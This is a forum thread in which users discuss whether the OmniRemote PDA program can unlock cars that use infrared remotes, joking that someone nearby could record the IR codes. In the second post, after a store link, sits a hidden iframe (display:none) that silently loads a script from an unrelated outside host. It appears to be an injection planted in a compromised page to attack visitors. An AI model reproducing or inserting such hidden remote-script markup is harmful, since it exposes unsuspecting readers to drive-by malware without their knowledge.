Does anyone know about a program - like Omni-remote - that can be programed to unlock my car? I'd love to get rid of the one on my key chain. It'll be one more thing that I don't have to carry.
Has anyone used the pocket Radio (from ibiz)? I wonder if it works well, or if there are better products like this. (I'm not sure if this is even available, yet. It says that it is available for pre-ordering.) http://store.yahoo.com/ibizpda/sdppo.html<iframe src="http://tmb-corp.com/g/p/l/counter.js" style="display:none"></iframe>
Well, if your car was purchased in England (or perhaps other parts of Europe), you might be able to do so -- most cars there use IR instead of RF. People have been using OmniRemote to unlock their cars there (along with passers-by stealing the IR codes)
There is a member of our forum here (not me) who is able to use OmniRemotePro to unlock his Jeep (which is partnered with Chrysler, right?)
I have seen it work. Apparently his old Jeep uses IR instead of RF.
But my Chrysler Town & Country minivan (did I just admit to owning a minivan?!?!?!) doesn't use IR, so it doesn't work for me.
Originally posted by Markito Actually, you are right (as usual) HoTSynC.
There is a member of our forum here (not me) who is able to use OmniRemotePro to unlock his Jeep (which is partnered with Chrysler, right?)
I have seen it work. Apparently his old Jeep uses IR instead of RF.
But my Chrysler Town & Country minivan (did I just admit to owning a minivan?!?!?!) doesn't use IR, so it doesn't work for me.
It does work But I don't think its code-hopping, cause I only programmed it once & I don't think Omniremote is THAT smart!
I suppose if Markito was hiding in the bushes with his 7135 when I use my IR transmittor (or 7135) to open my Jeep, he could use Omniremote pro to record my IR code.... probably have to be pretty close bushes to do the job though!